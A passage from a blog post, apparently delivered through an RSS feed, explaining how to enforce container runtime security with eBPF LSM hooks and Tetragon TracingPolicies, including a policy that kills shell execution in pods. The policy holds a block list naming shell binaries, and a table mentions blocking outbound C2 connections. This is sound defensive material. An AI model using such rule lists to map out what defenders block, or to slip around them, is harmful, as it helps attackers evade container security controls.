<p><strong><code class="" data-line="">SIGKILL</code> from kernel vs userspace kill</strong> — When a userspace process runs <code class="" data-line="">kill -9 &lt;pid&gt;</code>, it issues a kill syscall, the kernel schedules the signal delivery, and the target process dies on its next scheduler timeslice. There is a measurable delay — and more importantly, the target process may run for several more instructions before the signal is delivered. When a BPF LSM program returns a non-zero error code or calls <code class="" data-line="">bpf_send_signal(SIGKILL)</code> from within the hook, the signal is delivered synchronously within the kernel&#8217;s execution context. The process does not execute another instruction in the problematic syscall. This is not a speed difference — it is a structural difference in when the enforcement happens relative to the operation.</p>
</blockquote>
<hr />
<h2 id="writing-a-tetragon-tracingpolicy-for-enforcement">Writing a Tetragon TracingPolicy for Enforcement</h2>
<p>Tetragon policies are Kubernetes custom resources. Here&#8217;s a policy that prevents any container from executing shells:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shell-exec
spec:
  kprobes:
    - call: &quot;security_bprm_check&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;linux_binprm&quot;
      selectors:
        - matchBinaries:
            - operator: &quot;In&quot;
              values:
                - &quot;/bin/sh&quot;
                - &quot;/bin/bash&quot;
                - &quot;/bin/dash&quot;
                - &quot;/usr/bin/sh&quot;
                - &quot;/usr/bin/bash&quot;
          matchNamespaces:
            - namespace: Pid
              operator: &quot;NotIn&quot;
              values: [&quot;1&quot;]      # exclude host namespace (PID 1 = init)
          matchActions:
            - action: Sigkill
              argError: -1       # EPERM returned to the caller
</code></pre>
<p>Apply and verify:</p>
<pre><code class="" data-line="">kubectl apply -f block-shell-exec.yaml

# Confirm it&#039;s active
kubectl get tracingpolicies
# NAME               ENABLED   REASON   AGE
# block-shell-exec   true               5s

# Verify Tetragon loaded the eBPF program for this policy
bpftool prog list | grep bprm
# 94: lsm  name tetragon_lsm_bprm  tag 8f2a1c3e4d5b7a9f  gpl
#     loaded_at 2026-04-22T14:22:13+0530  uid 0
</code></pre>
<p>Test it (in a non-production namespace):</p>
<pre><code class="" data-line="">kubectl exec -it test-pod -- /bin/sh

# Expected output:
# OCI runtime exec failed: exec failed: unable to start container process:
# error during container init: error starting executable [&quot;/bin/sh&quot;]:
# container_linux.go: ... starting container process caused: process_linux.go:
# ... SIGKILL
</code></pre>
<p>The shell never started. The <code class="" data-line="">security_bprm_check</code> LSM hook fired, the Tetragon eBPF program evaluated the policy, returned <code class="" data-line="">SIGKILL</code> from kernel space. The exec system call returned <code class="" data-line="">-EPERM</code> to the container runtime. No shell process was created.</p>
<hr />
<h2 id="audit-mode-before-enforce-mode">Audit Mode Before Enforce Mode</h2>
<p>Running a new LSM policy in enforce mode without prior testing will kill legitimate workloads. Tetragon supports audit mode for every policy:</p>
<pre><code class="" data-line="">          matchActions:
            - action: Post     # audit mode: log event, do NOT kill
</code></pre>
<p><code class="" data-line="">Post</code> emits a Tetragon event that you can observe:</p>
<pre><code class="" data-line=""># Watch audit events for the policy (before switching to Sigkill)
kubectl exec -n kube-system -it \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_KPROBE | grep bprm
</code></pre>
<p>Sample audit event:</p>
<pre><code class="" data-line="">{
  &quot;process_kprobe&quot;: {
    &quot;process&quot;: {
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;},
      &quot;binary&quot;: &quot;/bin/sh&quot;,
      &quot;pid&quot;: 18293
    },
    &quot;function_name&quot;: &quot;security_bprm_check&quot;,
    &quot;action&quot;: &quot;KPROBE_ACTION_POST&quot;
  }
}
</code></pre>
<p>If <code class="" data-line="">my-app</code> legitimately needs <code class="" data-line="">/bin/sh</code> for its health check script, you&#8217;ll see it here before you kill it. Refine the selector (add <code class="" data-line="">matchLabels</code> to exclude that specific deployment, or add the binary to an allowlist) and then switch to <code class="" data-line="">Sigkill</code>.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Enforce mode kills anything the selector matches — including health checks and init containers.</strong> Most production containers have some shell usage: liveness probes that run <code class="" data-line="">sh -c</code>, init containers that <code class="" data-line="">chmod</code> files, entrypoint wrappers. Run in <code class="" data-line="">Post</code> (audit) mode for at least 48 hours across a representative workload set before switching to <code class="" data-line="">Sigkill</code>. Track all matched events and understand every process in the trace before enforcing.</p>
<p><strong>LSM hooks fire in kernel context — eBPF program complexity is limited.</strong> The verifier enforces strict limits on LSM programs because they run synchronously in the kernel&#8217;s hot path. Policies with many conditions or complex map lookups may be rejected by the verifier. Tetragon&#8217;s policy engine compiles your TracingPolicy into eBPF that stays within verifier limits, but very complex <code class="" data-line="">matchArgs</code> chains with many values can hit limits. Test with <code class="" data-line="">kubectl apply</code> and check Tetragon pod logs for verifier rejection messages.</p>
<p><strong><code class="" data-line="">BPF_PROG_TYPE_LSM</code> requires kernel 5.7+ and BPF LSM enabled.</strong> Check <code class="" data-line="">/sys/kernel/security/lsm</code> for <code class="" data-line="">bpf</code> in the list. EKS nodes running Amazon Linux 2 with kernel 5.10+ have BPF LSM available. GKE nodes with kernel 5.10+ on Container-Optimized OS have it enabled. Ubuntu 22.04 (kernel 5.15) has it enabled by default. Ubuntu 20.04 kernels before 5.7 do not — check your actual kernel version.</p>
<p><strong>Policy scope: Tetragon TracingPolicies are cluster-wide by default.</strong> A policy without a <code class="" data-line="">matchNamespaces</code> or <code class="" data-line="">matchLabels</code> selector applies to every pod on every node. Start with namespace-scoped policies during testing. Use <code class="" data-line="">namespaced</code> TracingPolicy resources (Tetragon 0.10+) to limit scope to a specific namespace.</p>
<p><strong><code class="" data-line="">bpf_send_signal(SIGKILL)</code> vs returning an error code.</strong> Tetragon&#8217;s <code class="" data-line="">Sigkill</code> action uses <code class="" data-line="">bpf_send_signal()</code> rather than returning a negative error from the LSM hook. This means the syscall may return before the signal is delivered — there can be a single instruction window. For critical enforcement paths, combining LSM deny (return <code class="" data-line="">-EPERM</code>) with <code class="" data-line="">bpf_send_signal(SIGKILL)</code> is the belt-and-suspenders approach; Tetragon&#8217;s maintainers have documented which actions use which mechanism.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Is BPF LSM enabled?</td>
<td><code class="" data-line="">cat /sys/kernel/security/lsm</code> (look for <code class="" data-line="">bpf</code>)</td>
</tr>
<tr>
<td>What LSM programs are loaded?</td>
<td><code class="" data-line="">bpftool prog list | grep lsm</code></td>
</tr>
<tr>
<td>What Tetragon policies exist?</td>
<td><code class="" data-line="">kubectl get tracingpolicies -A</code></td>
</tr>
<tr>
<td>Audit events (before enforce)</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_KPROBE</code></td>
</tr>
<tr>
<td>Watch Tetragon enforcement</td>
<td><code class="" data-line="">kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -f</code></td>
</tr>
<tr>
<td>Test a policy safely</td>
<td>Set <code class="" data-line="">action: Post</code> before <code class="" data-line="">action: Sigkill</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Tetragon action</th>
<th>Effect</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Post</code></td>
<td>Log event only — audit mode</td>
</tr>
<tr>
<td><code class="" data-line="">Sigkill</code></td>
<td>Send SIGKILL from kernel context</td>
</tr>
<tr>
<td><code class="" data-line="">Override</code></td>
<td>Return custom error code to syscall caller</td>
</tr>
<tr>
<td><code class="" data-line="">FollowFD</code></td>
<td>Track file descriptor for future hook correlation</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>LSM hook</th>
<th>Protects</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">security_bprm_check</code></td>
<td>exec (block shell spawning)</td>
</tr>
<tr>
<td><code class="" data-line="">security_inode_permission</code></td>
<td>file access (block reads/writes to sensitive paths)</td>
</tr>
<tr>
<td><code class="" data-line="">security_socket_connect</code></td>
<td>outbound connections (block C2 connections)</td>
</tr>
<tr>
<td><code class="" data-line="">security_capable</code></td>
<td>capability escalation (block CAP_SYS_ADMIN attempts)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>LSM eBPF Tetragon enforces at the syscall boundary — the operation either never completes or returns an error before the kernel performs the action, with no detect-and-respond window</li>
<li>Falco, Datadog, and sidecar-based tools detect events after the syscall returns; this is architectural, not a product limitation — they operate at a layer where the operation has already occurred</li>
<li><code class="" data-line="">BPF_PROG_TYPE_LSM</code> attaches eBPF programs directly to Linux Security Module hooks; available on kernel 5.7+, enabled on all current EKS/GKE LTS node images</li>
<li>Tetragon sends <code class="" data-line="">SIGKILL</code> from kernel context using <code class="" data-line="">bpf_send_signal()</code> — not from a userspace agent polling an audit log</li>
<li>Always run Tetragon policies in <code class="" data-line="">Post</code> (audit) mode for 48+ hours before switching to <code class="" data-line="">Sigkill</code> — legitimate workloads trigger many of the same LSM hooks that attacks use</li>
<li>The combination of kprobe (rich context: pod name, namespace, process tree) and LSM (enforcement) gives Tetragon context-aware kernel enforcement that static profiles (AppArmor, seccomp) cannot provide dynamically</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>LSM hooks prevent operations in the moment. But after an incident — when enforcement failed, or when you&#8217;re doing post-hoc forensics — the question changes: what did this process spawn, what files did it touch, what connections did it make, and in what order? Answering that from logs alone is guesswork. Answering it from kernel-level process lineage is reconstruction.</p>
<p>EP13 covers how eBPF kprobe hooks on <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> build a complete, tamper-resistant process tree. Even after the attacker&#8217;s process has exited, the record remains — in kernel maps, exported to a persistent store, tied to the pod that ran it.</p>
<p><em>Next: <a href="/ebpf-process-lineage-incident-response/">process lineage with eBPF — reconstructing what happened after the fact</a></em></p>
<p>Get EP13 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&#038;title=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" data-a2a-url="https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/" data-a2a-title="LSM and Tetragon — When the Kernel Says No"></a></p><p>The post <a href="https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon — When the Kernel Says No</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1841</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-31 17:51:35 by W3 Total Cache
-->